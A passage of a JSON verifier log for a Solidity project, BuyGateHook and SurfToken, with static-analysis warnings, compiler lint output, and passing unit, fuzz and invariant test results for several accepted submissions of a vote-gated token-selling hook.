ode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/BuyGateHook.sol:331: BuyGateHook.circulatingSupply() (src/BuyGateHook.sol#331-334) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:319: BuyGateHook.dayStart(uint256) (src/BuyGateHook.sol#319-322) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:262: BuyGateHook.deposit(uint256) (src/BuyGateHook.sol#262-268) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:286: BuyGateHook.vote(bool) (src/BuyGateHook.sol#286-306) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:313: BuyGateHook.currentDay() (src/BuyGateHook.sol#313-316) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:325: BuyGateHook.hasVoted(address,uint256) (src/BuyGateHook.sol#325-327) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:350: BuyGateHook.sellWindowOpen() (src/BuyGateHook.sol#350-355) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/BuyGateHook.sol:344: BuyGateHook.sellAllowance(uint256) (src/BuyGateHook.sol#344-347) uses a dangerous strict equality:\n[low/medium] timestamp at src/BuyGateHook.sol:184: BuyGateHook.beforeInitialize(address,PoolKey,uint160) (src/BuyGateHook.sol#184-197) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:344: BuyGateHook.sellAllowance(uint256) (src/BuyGateHook.sol#344-347) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:325: BuyGateHook.hasVoted(address,uint256) (src/BuyGateHook.sol#325-327) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:271: BuyGateHook.withdraw(uint256) (src/BuyGateHook.sol#271-280) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:224: BuyGateHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/BuyGateHook.sol#224-253) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:313: BuyGateHook.currentDay() (src/BuyGateHook.sol#313-316) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:262: BuyGateHook.deposit(uint256) (src/BuyGateHook.sol#262-268) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:319: BuyGateHook.dayStart(uint256) (src/BuyGateHook.sol#319-322) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:286: BuyGateHook.vote(bool) (src/BuyGateHook.sol#286-306) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:203: BuyGateHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/BuyGateHook.sol#203-219) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:331: BuyGateHook.circulatingSupply() (src/BuyGateHook.sol#331-334) uses timestamp for comparisons\n[low/medium] timestamp at src/BuyGateHook.sol:350: BuyGateHook.sellWindowOpen() (src/BuyGateHook.sol#350-355) uses timestamp for comparisons","passed":true},{"durationMs":323,"exitCode":0,"name":"aderyn","output":"[low] internal-function-used-once at src/HookFlags.sol:28: Internal Function Used Only Once (3 places)\n[low] large-numeric-literal at src/BuyGateHook.sol:59: Large Numeric Literal (2 places)\n[low] unsafe-erc20-operation at src/BuyGateHook.sol:267: Unsafe ERC20 Operation (2 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"4816435d4396aced39f9f18ce7baddc3c14f0cf06c4515ba1a7c3dc8da8748d5","verifiedTreeHash":"83736d0e744fc410adef1b91ef630b3507ea010c","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":2776,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.63s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:254:5:\n    |\n254 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/BuyGateHook.sol:211:31\n    │\n211 │     function beforeInitialize(address sender, PoolKey calldata key, uint160) external onlyPoolManager returns (bytes4) {\n    │                               ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:225:9\n    │\n225 │         emit PoolBound(id, Currency.unwrap(key.currency1), block.timestamp, sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:245:13\n    │\n245 │             emit Seeded(sender);\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:325:13\n    │\n325 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:410:13\n    │\n410 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":165,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85561, ~: 85636)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 3.46ms (3.99ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 2624479)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 17104895)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 1174479)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 53.79ms (27.16ms CPU time)\n\nRan 47 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 227732, ~: 228946)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 367006, ~: 446671)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 876487, ~: 876498)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 721950, ~: 773786)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 648136, ~: 648248)\n[PASS] testFuzz_thirdPartyPositionsAreAlwaysRefused(int24,int24,uint128) (runs: 256, μ: 194080, ~: 194086)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17114)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213684)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202178)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 17259150)\n[PASS] test_buysAccumulatePerDay() (gas: 529633)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 818459)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 121721)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5844)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379043)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 909511)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244476)\n[PASS] test_firstPositionIsAcceptedFromAnyRouterOnlyOnce() (gas: 15736798)\n[PASS] test_hasVotedRemembersEveryDayAVoterVotedOn() (gas: 764265)\n[PASS] test_holderCannotExitThroughASingleSidedPositionWhileSellsAreClosed() (gas: 396805)\n[PASS] test_initializationBoundThePool() (gas: 65375)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 4698925)\n[PASS] test_launchCanRemoveAndReaddItsLiquidity() (gas: 237793)\n[PASS] test_launchSeedsSeveralPositionsInTheInitializationTransaction() (gas: 18352639)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1132582)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 515698)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 983092)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3710658)\n[PASS] test_secondPoolIsRefused() (gas: 609043)\n[PASS] test_selfLiquidityWashCannotInflateBought() (gas: 410168)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 651339)\n[PASS] test_sellRevertsOnDayZero() (gas: 244715)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263793)\n[PASS] test_thirdPartyCannotAddLiquidityAfterTheSeed() (gas: 335651)\n[PASS] test_tieIsNotAMajority() (gas: 828897)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 4078548)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90391)\n[PASS] test_voteFailsBelowQuorum() (gas: 665605)\n[PASS] test_voteFailsWithoutMajority() (gas: 936789)\n[PASS] test_voteIsRefusedWhileTheManagerIsUnlocked() (gas: 1371534)\n[PASS] test_voteNeedsStake() (gas: 36894)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 547287)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 536489)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1286486)\n[PASS] test_windowClosesAfterOneHour() (gas: 873220)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 651964)\nSuite result: ok. 47 passed; 0 failed; 0 skipped; finished in 57.08ms (324.51ms CPU time)\n\nRan 3 test suites in 59.72ms (114.33ms CPU time): 56 tests passed, 0 failed, 0 skipped (56 total tests)\n","passed":true},{"durationMs":62,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":338,\"REVIEW.md\":160,\"foundry.toml\":22,\"launch.json\":21,\"remappings.txt\":5,\"script/Deploy.s.sol\":82,\"src/BuyGateHook.sol\":496,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":1120,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11,\"test/mocks/MockLaunchFactory.sol\":51},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"48fe3c6e96e9a278c2523c7dab6358be47da09e5799f8b3e38cadb5e351f0ade","verifiedTreeHash":"554104463e36b2b2d9947bc34b941a7715447563","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":3289,"exitCode":0,"name":"build","output":"Compiling 87 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.14s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:203:5:\n    |\n203 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/BuyGateHookEdge.t.sol:344:5:\n    |\n344 |     function test_votePassedIsFalseForEmptyAndFutureDays() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:274:13\n    │\n274 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:353:13\n    │\n353 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":4207,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 41 tests for test/BuyGateHookEdge.t.sol:BuyGateHookEdgeTest\n[PASS] testFuzz_allowanceIsHalfRoundedDownForAnyVolume(uint256,uint256) (runs: 512, μ: 28586, ~: 28541)\n[PASS] testFuzz_dayIndexAndDayStartAreConsistent(uint256) (runs: 512, μ: 42724, ~: 43015)\n[PASS] testFuzz_quorumIsFivePercentOfSupplyOutsideTheManager(uint256,uint256) (runs: 512, μ: 481894, ~: 483106)\n[PASS] testFuzz_voteWeightAndLockFollowTheDeposit(uint256,uint256) (runs: 512, μ: 472335, ~: 472246)\n[PASS] test_afterSwapAsManagerIgnoresABuyWithNoTokenOutput() (gas: 59128)\n[PASS] test_afterSwapAsManagerStillRefusesAClosedSell() (gas: 46241)\n[PASS] test_allowanceOverflowsForVolumesAboveTheSupplyScale() (gas: 9310)\n[PASS] test_buyTakenAsClaimsIsStillRecordedAndKeepsTokensInsideTheManager() (gas: 263664)\n[PASS] test_buysDuringTheWindowHourCountForTheNextDay() (gas: 1059662)\n[PASS] test_buysFarInTheFutureAreStillRecorded() (gas: 219805)\n[PASS] test_depositAfterVotingIsLockedTooAndAddsNoWeight() (gas: 625062)\n[PASS] test_depositMoreThanBalanceReverts() (gas: 176582)\n[PASS] test_depositWithoutApprovalReverts() (gas: 126471)\n[PASS] test_depositsAndWithdrawalsAreNotBuysOrSells() (gas: 292092)\n[PASS] test_exactOutputSellOverTheAllowanceFailsInAfterSwapWithTheRealAmounts() (gas: 830038)\n[PASS] test_exactOutputSellsAccumulateAgainstTheAllowance() (gas: 954337)\n[PASS] test_hasVotedIsFalseForDaysWithoutAVoteAndForTheFuture() (gas: 402870)\n[PASS] test_hookNeverHoldsEthOrTokensBeyondStake() (gas: 935327)\n[PASS] test_hugeTurnoutWithoutMajorityFails() (gas: 822499)\n[PASS] test_liquidityCallbacksRevertForEveryone() (gas: 74500)\n[PASS] test_noVotesCannotPassEvenWithStake() (gas: 666549)\n[PASS] test_oneWeiMajorityWithQuorumPasses() (gas: 824787)\n[PASS] test_oneWeiSellIsAcceptedAndCounted() (gas: 815363)\n[PASS] test_partialFillChargesOnlyTheTokensActuallySold() (gas: 1013833)\n[PASS] test_partialWithdrawThenVoteWeighsTheRemainder() (gas: 426854)\n[PASS] test_requestedAmountIsCheckedUpFrontEvenIfTheFillWouldBeSmaller() (gas: 680387)\n[PASS] test_sameVoterVotesOnConsecutiveDays() (gas: 565494)\n[PASS] test_sellSettledByBurningClaimsIsGatedLikeAnyOther() (gas: 1015479)\n[PASS] test_swapCallbacksOnAnUnboundHookRevertNotBound() (gas: 12526402)\n[PASS] test_turnoutExactlyAtQuorumPasses() (gas: 579947)\n[PASS] test_turnoutOneWeiBelowQuorumFails() (gas: 607941)\n[PASS] test_twoVotersTheSameDayAddUpAndAreBothLocked() (gas: 700582)\n[PASS] test_unspentAllowanceDoesNotRollOver() (gas: 841759)\n[PASS] test_voteAfterWithdrawingEverythingReverts() (gas: 277407)\n[PASS] test_voteAtExactlyTheDayBoundaryBelongsToTheNewDay() (gas: 391802)\n[PASS] test_voteCastDuringTheWindowCounts() (gas: 723466)\n[PASS] test_voteInTheLastSecondOfTheDayCountsForThatDayAndUnlocksNextSecond() (gas: 538596)\n[PASS] test_votePassedIsFalseForEmptyAndFutureDays() (gas: 31092)\n[PASS] test_windowsFollowEachDaysVoteIndependently() (gas: 1859872)\n[PASS] test_withdrawCannotTakeAnotherVotersStake() (gas: 235645)\n[PASS] test_withdrawWithNoStakeReverts() (gas: 36956)\nSuite result: ok. 41 passed; 0 failed; 0 skipped; finished in 63.51ms (186.44ms CPU time)\n\nRan 38 tests for test/BuyGateHook.t.sol:BuyGateHookTest\n[PASS] testFuzz_buysAreAlwaysAllowedAndRecorded(uint256,uint256) (runs: 256, μ: 228098, ~: 228894)\n[PASS] testFuzz_depositsAreAlwaysRecoverable(uint256,bool) (runs: 256, μ: 348568, ~: 273830)\n[PASS] testFuzz_majorityAndQuorumDecideTheVote(uint256,uint256) (runs: 256, μ: 869719, ~: 868404)\n[PASS] testFuzz_sellsNeverExceedHalfOfYesterdaysBuys(uint256,uint256,uint256) (runs: 256, μ: 716224, ~: 770348)\n[PASS] testFuzz_sellsOutsideTheWindowAlwaysFail(uint256) (runs: 256, μ: 644774, ~: 644888)\n[PASS] test_addressCarriesExactlyTheDeclaredFlags() (gas: 17107)\n[PASS] test_buyExactInPassesAndIsRecorded() (gas: 213651)\n[PASS] test_buyExactOutPassesAndIsRecorded() (gas: 202078)\n[PASS] test_buyWorksOnATokensOnlyPool() (gas: 9540525)\n[PASS] test_buysAccumulatePerDay() (gas: 529445)\n[PASS] test_buysDuringTheWindowDoNotRaiseTheWindowsAllowance() (gas: 815024)\n[PASS] test_callbacksRefuseCallersOtherThanThePoolManager() (gas: 93654)\n[PASS] test_constructorRefusesAnAddressWithoutTheFlags() (gas: 5866)\n[PASS] test_depositAndWithdrawWithoutVoting() (gas: 379152)\n[PASS] test_exactOutputSellIsCheckedAgainstTheAllowanceAfterTheSwap() (gas: 906082)\n[PASS] test_exactOutputSellRevertsWhenClosed() (gas: 244429)\n[PASS] test_initializationBoundThePool() (gas: 50225)\n[PASS] test_initializationRefusesWrongFeeTickSpacingAndNonNativeQuote() (gas: 13125868)\n[PASS] test_passedVoteOpensSellsForOneHourAtHalfOfPreviousDaysBuys() (gas: 1129032)\n[PASS] test_passedVoteWithNoBuysOpensAnEmptyWindow() (gas: 512436)\n[PASS] test_poolManagerIsTheConstructorArgument() (gas: 7828)\n[PASS] test_quorumIsSnapshottedAtTheFirstVote() (gas: 976356)\n[PASS] test_runtimeCodeHasNoEscapeHatch() (gas: 3365567)\n[PASS] test_secondPoolIsRefused() (gas: 608969)\n[PASS] test_sellLargerThanAllowanceIsRefusedUpFront() (gas: 647985)\n[PASS] test_sellRevertsOnDayZero() (gas: 244690)\n[PASS] test_sellRevertsWithoutAVote() (gas: 263752)\n[PASS] test_tieIsNotAMajority() (gas: 822219)\n[PASS] test_unboundHookRejectsGovernanceAndViews() (gas: 12505598)\n[PASS] test_unimplementedCallbacksRevertEvenForThePoolManager() (gas: 90169)\n[PASS] test_voteFailsBelowQuorum() (gas: 662244)\n[PASS] test_voteFailsWithoutMajority() (gas: 930134)\n[PASS] test_voteNeedsStake() (gas: 36828)\n[PASS] test_voteOncePerDayAndLockedUntilDayEnds() (gas: 531605)\n[PASS] test_voteWeightIsTheStakeAtVoteTime() (gas: 533248)\n[PASS] test_votesCanRepeatEveryDay() (gas: 1262576)\n[PASS] test_windowClosesAfterOneHour() (gas: 869867)\n[PASS] test_windowDoesNotCarryOverToTheNextDay() (gas: 648616)\nSuite result: ok. 38 passed; 0 failed; 0 skipped; finished in 63.54ms (298.53ms CPU time)\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85502, ~: 85612)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 74.29ms (5.37ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 28216878)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 31848426)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 52485659)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 74.32ms (159.50ms CPU time)\n\nRan 2 tests for test/BuyGateHookInvariant.t.sol:BuyGateHookInvariantTest\n[PASS]\nBuyGateHookInvariantTest invariants:\n[PASS] invariant_eachStakeIsDepositsMinusWithdrawals\n[PASS] invariant_hookHoldsExactlyTheStakes\n[PASS] invariant_hookTakesNothing\n[PASS] invariant_managerBalancesFollowTheSwaps\n[PASS] invariant_nothingSoldOnADayWhoseVoteDidNotPass\n[PASS] invariant_recordsMatchTheGhostBooks\n[PASS] invariant_soldNeverExceedsHalfOfThePreviousDaysBuys\n[PASS] invariant_supplyIsConserved\n[PASS] invariant_windowAndRemainingAgreeWithTheTallies\n BuyGateHookInvariantTest invariants (runs: 128, calls: 7680, reverts: 0)\n\n╭----------------+------------------+-------+---------+----------╮\n| Contract       | Selector         | Calls | Reverts | Discards |\n+================================================================+\n| BuyGateHandler | buy              | 683   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | deposit          | 708   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | park             | 639   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | prepareWindow    | 655   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | sellExactIn      | 644   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | sellExactOut     | 646   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | unpark           | 594   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | vote             | 620   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | voteBig          | 619   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | warp             | 631   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | warpToNextWindow | 650   | 0       | 0        |\n|----------------+------------------+-------+---------+----------|\n| BuyGateHandler | withdraw         | 591   | 0       | 0        |\n╰----------------+------------------+-------+---------+----------╯\n\n[PASS] test_handlerReachesEveryPath() (gas: 3334104)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.10s (4.09s CPU time)\n\nRan 5 test suites in 4.11s (4.38s CPU time): 90 tests passed, 0 failed, 0 skipped (90 total tests)\n","passed":true},{"durationMs":63,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BuyGateHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"BuyGateHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"BuyGateHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"BuyGateHook.deposit(uint256)\",\"BuyGateHook.vote(bool)\",\"BuyGateHook.withdraw(uint256)\",\"SurfToken.approve(address,uint256)\",\"SurfToken.transfer(address,uint256)\",\"SurfToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":270,\"REVIEW.md\":94,\"foundry.toml\":22,\"remappings.txt\":5,\"script/Deploy.s.sol\":81,\"src/BuyGateHook.sol\":440,\"src/HookFlags.sol\":58,\"src/SurfToken.sol\":19,\"test/BuyGateHook.t.sol\":796,\"test/BuyGateHookEdge.t.sol\":792,\"test/BuyGateHookInvariant.t.sol\":658,\"test/Deploy.t.sol\":44,\"test/SurfToken.t.sol\":64,\"test/mocks/MockERC20.sol\":11},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"9d2af99a289f30dcc6efa2d7da2e3404b9650b7fa13f01e541e1cc8fcd7a25a0","verifiedTreeHash":"a4bfe8615ea7f4b8ca673b2a10cc48db57ce41f7","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":4814,"exitCode":0,"name":"build","output":"Compiling 88 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.65s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> src/BuyGateHook.sol:259:5:\n    |\n259 |     function beforeSwap(address, PoolKey calldata, SwapParams calldata params, bytes calldata)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/BuyGateHookEdge.t.sol:397:5:\n    |\n397 |     function test_votePassedIsFalseForEmptyAndFutureDays() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/BuyGateHook.sol:215:31\n    │\n215 │     function beforeInitialize(address sender, PoolKey calldata key, uint160) external onlyPoolManager returns (bytes4) {\n    │                               ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:229:9\n    │\n229 │         emit PoolBound(id, Currency.unwrap(key.currency1), block.timestamp, sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/BuyGateHook.sol:250:13\n    │\n250 │             emit Seeded(sender);\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:330:13\n    │\n330 │         if (block.timestamp < until) revert StakeLocked(until);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/BuyGateHook.sol:415:13\n    │\n415 │         if (block.timestamp >= dayStart(day) + SELL_WINDOW) return false;\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\n","passed":true},{"durationMs":4260,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 6 tests for test/SurfToken.t.sol:SurfTokenTest\n[PASS] testFuzz_transferConservesSupply(address,uint256) (runs: 256, μ: 85268, ~: 85636)\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 29945)\n[PASS] test_metadata() (gas: 29131)\n[PASS] test_noMintOrAdminEntryPoints() (gas: 144957)\n[PASS] test_transferMoreThanBalanceReverts() (gas: 34357)\n[PASS] test_transferMovesExactAmount() (gas: 86501)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.85ms (3.24ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployPlacesTheHookOnAFlaggedAddress() (gas: 8053367)\n[PASS] test_differentManagerGivesADifferentAddress() (gas: 27986877)\n[PASS] test_minedSaltIsDeterministicForADeployer() (gas: 11987525)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 83.03ms (103.27ms CPU time)\n\nRan 49 tests for test/BuyGateHookEdge.t.sol:BuyGateHookEdgeTest\n[PASS] testFuzz_allowanceIsHalfRoundedDownForAnyVolume(uint256,uint256) (runs: 512, μ: 328074, ~: 328165)\n[PASS] testFuzz_dayIndexAndDayStartAreConsistent(uint256) (runs: 512, μ: 42822, ~: 43104)\n[PASS] testFuzz_quorumIsFivePercentOfSupplyOutsideTheManager(uint256,uint256) (runs: 512, μ: 485235, ~: 486675)\n[PASS] testFuzz_voteWeightAndLockFollowTheDeposit(uint256,uint256) (runs: 512, μ: 475743, ~: 475707)\n[PASS] test_afterSwapAsManagerIgnoresABuyWithNoTokenOutput() (gas: 